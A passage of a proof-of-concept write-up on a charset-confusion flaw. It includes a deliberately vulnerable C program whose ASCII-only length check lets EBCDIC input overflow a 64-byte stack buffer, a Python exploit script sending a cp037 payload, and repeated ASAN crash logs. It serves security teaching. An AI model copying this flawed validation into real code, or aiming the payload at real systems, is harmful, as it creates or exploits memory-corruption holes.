WRITE of size 400 at 0x6f6346bf0060 thread T0
    #0 0x736349128d2c in memcpy
    ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_mem
intrinsic.inc:117
    #1 0x5effa5a0e4ae in validate_and_copy
/home/larry/Downloads/messagesave.c:112
    #2 0x5effa5a0e6c6 in main /home/larry/Downloads/messagesave.c:138
    #3 0x736348c2a600 in __libc_start_call_main
../sysdeps/nptl/libc_start_call_main.h:59
    #4 0x736348c2a717 in __libc_start_main_impl ../csu/libc-start.c:360
    #5 0x5effa5a0e224 in _start (/home/larry/Downloads/messagesave_asan+0x1224)
(BuildId: 1a5c1f8bfc5e6a2bf353bb6e13cd6cbe9df716cc)

Address 0x6f6346bf0060 is located in stack of thread T0 at offset 96 in frame
    #0 0x5effa5a0e50e in main /home/larry/Downloads/messagesave.c:118
```

```

This frame has 1 object(s):
  [32, 96) 'msg' (line 119) <== Memory access at offset 96 overflows this
variable
HINT: this may be a false positive if your program uses some custom stack
unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow
/home/larry/Downloads/messagesave.c:112 in validate_and_copy
Shadow bytes around the buggy address:
  0x6f6346befd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  ...
=>0x6f6346bf0000: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00[f3]f3 f3 f3
  0x6f6346bf0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  ...
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable:          00
...
Stack left redzone:    f1
Stack mid redzone:     f2
Stack right redzone:   f3
...
==404808==ABORTING

[exploit] Target exit code: 1

```

9.5 Line-by-line

```

==404808==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x... at
pc 0x... bp 0x... sp 0x...

```

The report header.

- `==404808==` — process ID
- `ERROR` — error level
- `AddressSanitizer: stack-buffer-overflow` — the bug class
- `on address 0x6f6346bf0060` — the destination of the offending write
- `at pc 0x736349128d2d` — program counter
- `bp 0x7ffef264dc70 sp 0x7ffef264d418` — base pointer and stack pointer

```

WRITE of size 400 at 0x6f6346bf0060 thread T0

```

What happened: a 400-byte write to address `0x6f6346bf0060` in thread 0.

Stack trace:

```

#0 ... in memcpy ...

```

```
#1 ... in validate_and_copy /home/larry/Downloads/messagesave.c:112
#2 ... in main /home/larry/Downloads/messagesave.c:138
#3 ... in __libc_start_call_main ...
#4 ... in __libc_start_main_impl ...
#5 ... in _start ...
```

- **Frame #1** — `validate_and_copy` at line 112 (the `memcpy`)
- **Frame #2** — `main` at line 138 (the call to `validate_and_copy`)

Line 112 in the source file is:

```
memcpy(msg->text, frame, frame_size);
```

This is the definitive confirmation of the vulnerable line.

Address 0x6f6346bf0060 is located in stack of thread T0 at offset 96 in frame

- Address is on the stack
- Offset 96 in `main`'s stack frame

This frame has 1 object(s):

`main` has exactly one stack object — `msg`.

[32, 96) 'msg' (line 119) <== Memory access at offset 96 overflows this variable

The critical line.

- `msg` occupies stack offsets `[32, 96)` — 64 bytes
- Offset 96 is one past the end of `msg`
- **The write overflows `msg`**
- `line 119` — where `msg` was declared

SUMMARY: AddressSanitizer: stack-buffer-overflow
/home/larry/Downloads/messagesave.c:112 in validate_and_copy

Final summary: **stack-buffer-overflow at line 112 in `validate_and_copy`.**

Shadow memory:

```
=>0x6f6346bf0000: f1 f1 f1 f1 00 00 00 00 00 00 00 00[f3]f3 f3 f3
```

Each shadow byte represents 8 application bytes.

- `f1` — stack left redzone (before `msg`)
- `00` — addressable (inside `msg`)
- `f3` — stack right redzone (after `msg`) — **this is the byte that was hit**
- `[f3]` — the first byte of the redzone, marked with brackets to indicate where the overflow landed

Shadow byte legend:

- `00` — addressable
- `f1` — stack left redzone
- `f3` — stack right redzone (our case)

`==404808==ABORTING`

ASAN aborts the process.

`[exploit] Target exit code: 1`

Exit code 1 (`abort()` convention).

9.6 What ASAN confirms

Fact	Evidence
Bug class	<code>stack-buffer-overflow</code>
Write size	<code>WRITE of size 400</code>
Function	<code>validate_and_copy</code> at line 112
Variable	<code>msg</code> in <code>main</code>
Variable size	<code>[32, 96)</code> — 64 bytes
Overflow start	offset 96 in <code>main</code> 's frame

Source line	<code>messagesave.c:112</code>
-------------	--------------------------------

ASAN gives a **surgical** account of the bug: exact function, line, variable, size, and overflow location.

10. The Bug, Precisely Stated

The target program's validation routine, `validate_and_copy`, measures the input using `count_printable_ascii`, which counts bytes in the ASCII printable range (0x20–0x7E). For ASCII input, this count equals the number of text bytes, and the check correctly bounds the subsequent `memcpy`. For EBCDIC input, EBCDIC letters fall outside this range, so the count is near zero regardless of input size. The check passes for any EBCDIC input, and the `memcpy` copies the full frame size (up to 512 bytes) into a 64-byte stack buffer. The result is a stack buffer overflow.

What the bug is not:

- Not a length miscalculation — the copied length is exactly the number of bytes read
- Not a missing bounds check — the bounds check exists and is correctly written
- Not a use of an unsafe function — only `memcpy` is used, and it is used correctly
- Not a failure to validate — validation runs and correctly rejects long ASCII input

What the bug is:

- An ASCII-specific definition of "text" applied to EBCDIC input
- A validation check that is correct for the value it receives but receives the wrong value
- A semantic mismatch between what the program thinks it is measuring and what it is actually measuring

For every valid ASCII input, this program is memory-safe. For EBCDIC input, it overflows.

EBCDIC is not the "cause" of the bug in a strict sense — any input whose bytes fall outside the ASCII printable range would trigger the same behavior. But EBCDIC is the natural, real-world source of such input in a mixed-encoding environment, and it is the reason this bug is meaningful in practice.

11. What This PoC Achieves — and What It Does Not

11.1 What it achieves

1. **A complete, reproducible PoC** of a charset confusion vulnerability leading to a stack buffer overflow, using only bounded memory operations and safe functions.
2. **A demonstration that "safe" code is not sufficient** — code can use only `memcpy` and correct bounds checks and still be exploitable if its *assumptions* about input encoding are wrong.
3. **A clean ASAN report** pinpointing the exact vulnerable line.
4. **A working exploit with a genuine EBCDIC payload** generated via Python's `cp037` codec.
5. **A defensive demonstration** — the same bug does not trigger with valid ASCII input; the encoding is what makes it exploitable.

11.2 What it does not achieve

1. **Code execution.** The PoC crashes with SIGSEGV. It does not spawn a shell. Code execution requires:
 - Finding the offset from `msg.text` to the return address
 - Building a payload that overwrites the return address with a controlled value
 - Constraining the payload to EBCDIC-valid bytes
 - Choosing a ROP chain or shellcode target
2. **A new vulnerability class.** Encoding confusion is a known class (CWE-172, CWE-176, CWE-180, CWE-838). This PoC is an application of that class to a specific scenario, not a discovery of a new class.
3. **A novel exploitation technique.** The exploitation primitive (stack buffer overflow via `memcpy`) is textbook. The novel element is the *trigger* (EBCDIC input), not the *mechanism*.
4. **A new CVE.** This is a purpose-built educational target. Real-world CVE hunting would require finding the same pattern in production software.

11.3 The honest research value

The contribution of this PoC is:

- **An under-documented application** of encoding confusion: memory corruption in native code, triggered by EBCDIC input, against validation logic that assumes ASCII.
- **A clean demonstration** that "safe" memory APIs are not enough — the semantic meaning of the input matters.
- **A starting point** for fuzzing, static analysis, or mainframe-gateway security research.

This is **research-adjacent**, not front-line novel research. It is the kind of work that builds up the literature for a specialized area.

12. Where This Fits in the Research Landscape

12.1 The taxonomy

Dimension	This PoC
Vulnerability class	Charset confusion (CWE-172, CWE-176, CWE-180, CWE-838)
Impact	Stack buffer overflow (CWE-121)
Trigger	EBCDIC input to an ASCII-assuming validator
Mechanism	Validation bypass via encoding-dependent measurement
Delivery	Raw byte stream (stdin, simulating socket)
Exploitation stage	Control-flow hijack (SIGSEGV)

12.2 Related work

- **Charset confusion in web applications** — widely documented (UTF-7 XSS, overlong UTF-8 traversal)
- **Parser differentials** — WAF bypass via decoding differences
- **Unicode normalization attacks** — homoglyph spoofing, IDN attacks
- **ASCII-printable validation bugs** — common in legacy code; rarely exploited with non-ASCII input

12.3 The EBCDIC angle

EBCDIC is **under-explored** in public security research because:

- It only appears in mainframe environments
- Few security researchers work with mainframes
- Mainframe gateways (web-to-host, CICS, MQ) are less common targets for training material
- The talent pool with EBCDIC knowledge is small

This is why the EBCDIC angle is interesting: it is **a real encoding that most fuzzers, scanners, and reviewers don't consider**. Anything that assumes ASCII will be wrong for EBCDIC input in a predictable way, and EBCDIC input is a real, deliverable attack vector in mixed-encoding environments.

12.4 The generalization

The bug class is not "EBCDIC breaks this specific code". It is:

Any validation routine that measures input using an encoding-dependent metric, then performs a memory operation using an encoding-independent metric, is vulnerable when the two metrics disagree.

The metrics can be:

- Printable ASCII count vs. byte count (this PoC)
- Character count vs. byte count (UTF-16, UTF-32)
- Normalized length vs. raw length (Unicode)
- Decoded length vs. encoded length (URL, base64)

The pattern is universal. EBCDIC is one instance.

13. Legal and Ethical Notice

This document is provided for **authorized security research and education only**.

The vulnerable program is a **purpose-built target** designed for learning. It is not a real product.

The techniques described here apply to **authorized penetration testing, bug bounty programs, CTF competitions, and academic research** — always within the scope of explicit written permission.

Do not use these techniques against systems you do not own or have explicit written authorization to test. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can result in criminal prosecution, civil liability, and permanent career damage.

The goal of security research is to make systems safer. Publish so defenders can fix.

Appendix A: Reproduction

A.1 Environment

- Linux x86-64
- GCC 11 or later
- Python 3.8 or later
- GDB (for further analysis)

A.2 Compile the vulnerable program

```
gcc -o messagesave messagesave.c -fno-stack-protector -no-pie -g
```

A.3 Compile the ASAN version

```
gcc -o messagesave_asan messagesave.c -fsanitize=address -g
```

A.4 Run the exploit

```
# Normal build
python3 exploit_messagesave.py

# ASAN build
python3 exploit_messagesave.py ./messagesave_asan
```

A.5 Expected results

Build	Exit code	Key output
Normal	-11 (SIGSEGV)	[messagesave] accepted, then crash
ASAN	1	ERROR: AddressSanitizer: stack-buffer-overflow

This proves the check works correctly for ASCII. Only EBCDIC bypasses it.

End of PoC manual.

Messagesave.c :

```

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define MAX_FRAME 512
#define MAX_MSG 64
static char g_frame[MAX_FRAME];
struct message {
    char text[MAX_MSG];
};
static size_t count_printable_ascii(const char *buf, size_t n) {
    size_t count = 0;
    for (size_t i = 0; i < n; i++) {
        unsigned char c = (unsigned char)buf[i];
        if (c >= 0x20 && c <= 0x7E) {
            count++;
        }
    }
    return count;
}
static int validate_and_copy(const char *frame, size_t frame_size,
                            struct message *msg) {
    size_t validated_len = count_printable_ascii(frame, frame_size);

    fprintf(stderr,
            "[messagesave] DEBUG: frame_size=%zu printable_ascii=%zu MAX_MSG=%d\n",
            frame_size, validated_len, MAX_MSG);
    if (validated_len >= MAX_MSG) {
        fprintf(stderr,
            "[messagesave] rejected: printable_count=%zu >= MAX_MSG=%d\n",
            validated_len, MAX_MSG);
        return -1;
    }
    fprintf(stderr,
            "[messagesave] copying %zu bytes into %d-byte buffer\n",
            frame_size, MAX_MSG);
    memcpy(msg->text, frame, frame_size);
    msg->text[frame_size] = '\0';

    return 0;
}

int main(void) {
    struct message msg;

    memset(&msg, 0, sizeof(msg));

```

```

fprintf(stderr, "[messagesave] reading frame...\n");
ssize_t n = read(STDIN_FILENO, g_frame, sizeof(g_frame));
if (n <= 0) {
    fprintf(stderr, "[messagesave] no data\n");
    return 1;
}

fprintf(stderr, "[messagesave] read %zd bytes\n", n);

if (validate_and_copy(g_frame, (size_t)n, &msg) != 0) {
    fprintf(stderr, "[messagesave] rejected\n");
    return 1;
}

fprintf(stderr, "[messagesave] accepted\n");
return 0;
}

```

Exploit_messagesave.py :

```

#!/usr/bin/env python3
import subprocess
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "./messagesave"
plaintext = "A" * 400
ebcdic_payload = plaintext.encode("cp037")
print(f"[exploit] Target: {target}")
print(f"[exploit] Plaintext length: {len(plaintext)} chars")
print(f"[exploit] EBCDIC payload length: {len(ebcdic_payload)} bytes")
print(f"[exploit] First 16 bytes: {ebcdic_payload[:16].hex()}")
print(f"[exploit] Last 8 bytes: {ebcdic_payload[-8:].hex()}")
printable_count = sum(1 for b in ebcdic_payload if 0x20 <= b <= 0x7E)
print(f"[exploit] Bytes in ASCII printable range (0x20-0x7E): {printable_count}")
if printable_count < 64:
    print(f"[exploit] Confirmed: printable count {printable_count} < MAX_MSG 64")
    print(f"[exploit] Validation will PASS; copy will overflow")
print(f"[exploit] Sending {len(ebcdic_payload)} bytes...")
p = subprocess.Popen(
    [target],
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    stderr=subprocess.PIPE,
)
stdout, stderr = p.communicate(ebcdic_payload)
print("\n[exploit] --- target stdout ---")
print(stdout.decode("utf-8", errors="replace"))
print("[exploit] --- target stderr ---")
print(stderr.decode("utf-8", errors="replace"))
print(f"[exploit] Target exit code: {p.returncode}")

```

```
if p.returncode < 0:
    import signal
    try:
        sig_name = signal.Signals(-p.returncode).name
    except ValueError:
        sig_name = f"signal {-p.returncode}"
    print(f"[exploit] Target killed by {sig_name}")
```

→ Downloads gcc -o messagesave messagesave.c -fno-stack-protector -no-pie -g

→ Downloads python3 exploit_messagesave.py

[exploit] Target: ./messagesave

[exploit] Plaintext length: 400 chars

[exploit] EBCDIC payload length: 400 bytes

[exploit] First 16 bytes: c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1

[exploit] Last 8 bytes: c1c1c1c1c1c1c1c1

[exploit] Bytes in ASCII printable range (0x20-0x7E): 0

[exploit] Confirmed: printable count 0 < MAX_MSG 64

[exploit] Validation will PASS; copy will overflow

[exploit] Sending 400 bytes...

[exploit] --- target stdout ---

[exploit] --- target stderr ---

[messagesave] reading frame...

[messagesave] read 400 bytes

[messagesave] DEBUG: frame_size=400 printable_ascii=0 MAX_MSG=64

[messagesave] copying 400 bytes into 64-byte buffer

[messagesave] accepted

[exploit] Target exit code: -11

[exploit] Target killed by **SIGSEGV**

→ Downloads gcc -o messagesave_asan messagesave.c -fsanitize=address -g

→ Downloads python3 exploit_messagesave.py ./messagesave_asan

[exploit] Target: ./messagesave_asan

[exploit] Plaintext length: 400 chars

[exploit] EBCDIC payload length: 400 bytes

[exploit] First 16 bytes: c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1

[exploit] Last 8 bytes: c1c1c1c1c1c1c1c1

[exploit] Bytes in ASCII printable range (0x20-0x7E): 0

[exploit] Confirmed: printable count 0 < MAX_MSG 64

[exploit] Validation will PASS; copy will overflow

[exploit] Sending 400 bytes...

[exploit] --- target stdout ---

```
[exploit] --- target stderr ---
[messagesave] reading frame...
[messagesave] read 400 bytes
[messagesave] DEBUG: frame_size=400 printable_ascii=0 MAX_MSG=64
[messagesave] copying 400 bytes into 64-byte buffer
=====
==404808==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x6f6346bf0060 at pc
0x736349128d2d bp 0x7ffef264dc70 sp 0x7ffef264d418
WRITE of size 400 at 0x6f6346bf0060 thread T0
#0 0x736349128d2c in memcpy
../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:117
#1 0x5effa5a0e4ae in validate_and_copy /home/larry/Downloads/messagesave.c:112
#2 0x5effa5a0e6c6 in main /home/larry/Downloads/messagesave.c:138
#3 0x736348c2a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
#4 0x736348c2a717 in __libc_start_main_impl ../csu/libc-start.c:360
#5 0x5effa5a0e224 in _start (/home/larry/Downloads/messagesave_asan+0x1224) (BuildId:
1a5c1f8bfc5e6a2bf353bb6e13cd6cbe9df716cc)
```

Address 0x6f6346bf0060 is located in stack of thread T0 at offset 96 in frame
#0 0x5effa5a0e50e in main /home/larry/Downloads/messagesave.c:118

This frame has 1 object(s):

[32, 96) 'msg' (line 119) <== Memory access at offset 96 overflows this variable

HINT: this may be a false positive if your program uses some custom stack unwind mechanism,
swapcontext or vfork

(longjmp and C++ exceptions *are* supported)

SUMMARY: AddressSanitizer: stack-buffer-overflow /home/larry/Downloads/messagesave.c:112 in
validate_and_copy

Shadow bytes around the buggy address:

```
0x6f6346befd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346befe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346befe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346beff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346beff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x6f6346bf0000: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00[f3]f3 f3 f3
0x6f6346bf0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346bf0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346bf0180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346bf0200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346bf0280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

Shadow byte legend (one shadow byte represents 8 application bytes):

Addressable: 00

Partially addressable: 01 02 03 04 05 06 07

Heap left redzone: fa

Freed heap region: fd

Stack left redzone: f1

Stack mid redzone: f2

Stack right redzone: f3

Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==404808==ABORTING

[exploit] Target exit code: 1

```
tan@tan:~/Downloads
→ Downloads gcc -o messagesave messagesave.c -fno-stack-protector -no-pie -g
→ Downloads python3 exploit_messagesave.py
[exploit] Target: ./messagesave
[exploit] Plaintext length: 400 chars
[exploit] EBCDIC payload length: 400 bytes
[exploit] First 16 bytes: c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1
[exploit] Last 8 bytes: c1c1c1c1c1c1c1c1
[exploit] Bytes in ASCII printable range (0x20-0x7E): 0
[exploit] Confirmed: printable count 0 < MAX_MSG 64
[exploit] Validation will PASS; copy will overflow
[exploit] Sending 400 bytes...

[exploit] --- target stdout ---

[exploit] --- target stderr ---
[messagesave] reading frame...
[messagesave] read 400 bytes
[messagesave] DEBUG: frame_size=400 printable_ascii=0 MAX_MSG=64
[messagesave] copying 400 bytes into 64-byte buffer
[messagesave] accepted

[exploit] Target exit code: -11
[exploit] Target killed by SIGSEGV
```

```
→ Downloads gcc -o messagesave_asan messagesave.c -fsanitize=address -g
```

```
→ Downloads python3 exploit_messagesave.py ./messagesave_asan
```

```
[exploit] Target: ./messagesave_asan
```

```
[exploit] Plaintext length: 400 chars
```

```
[exploit] EBCDIC payload length: 400 bytes
```

```
[exploit] First 16 bytes: c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1c1
```

```
[exploit] Last 8 bytes: c1c1c1c1c1c1c1c1
```

```
[exploit] Bytes in ASCII printable range (0x20-0x7E): 0
```

```
[exploit] Confirmed: printable count 0 < MAX_MSG 64
```

```
[exploit] Validation will PASS; copy will overflow
```

```
[exploit] Sending 400 bytes...
```

```
[exploit] --- target stdout ---
```

```
[exploit] --- target stderr ---
```

```
[messagesave] reading frame...
```

```
[messagesave] read 400 bytes
```

```
[messagesave] DEBUG: frame_size=400 printable_ascii=0 MAX_MSG=64
```

```
[messagesave] copying 400 bytes into 64-byte buffer
```

```
=====
```

```
==404808==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x6f6346bf0060 at pc 0x736349128d2d bp 0x7ffef264dc70 sp 0x7ffef264d418
```

```
WRITE of size 400 at 0x6f6346bf0060 thread T0
```

```
#0 0x736349128d2c in memcpy ../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:117
```

```
#1 0x5effa5a0e4ae in validate_and_copy /home/larry/Downloads/messagesave.c:112
```

```
#2 0x5effa5a0e6c6 in main /home/larry/Downloads/messagesave.c:138
```

```
#3 0x736348c2a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
```

```
#4 0x736348c2a717 in __libc_start_main_impl ../csu/libc-start.c:360
```

```
#5 0x5effa5a0e224 in _start (/home/larry/Downloads/messagesave_asan+0x1224) (BuildId: 1a5c1f0bfc5e6a2bf353bb6e13cd6cbe9df716cc)
```

```
Address 0x6f6346bf0060 is located in stack of thread T0 at offset 96 in frame
```

```
#0 0x5effa5a0e50e in main /home/larry/Downloads/messagesave.c:118
```

```
This frame has 1 object(s):
```

```
[32, 96) 'msg' (line 119) <== Memory access at offset 96 overflows this variable
```

```
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork  
(longjmp and C++ exceptions *are* supported)
```

SUMMARY: AddressSanitizer: stack-buffer-overflow /home/larry/Downloads/messagesave.c:112 in validate_and_copy
Shadow bytes around the buggy address:

```
0x6f6346befd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346befe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346befe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346beff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346beff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x6f6346bf0000: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00[f3]f3 f3 f3
0x6f6346bf0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346bf0100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346bf0180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346bf0200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x6f6346bf0280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

Shadow byte legend (one shadow byte represents 8 application bytes):

```
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
```

==404808==ABORTING

[exploit] Target exit code: 1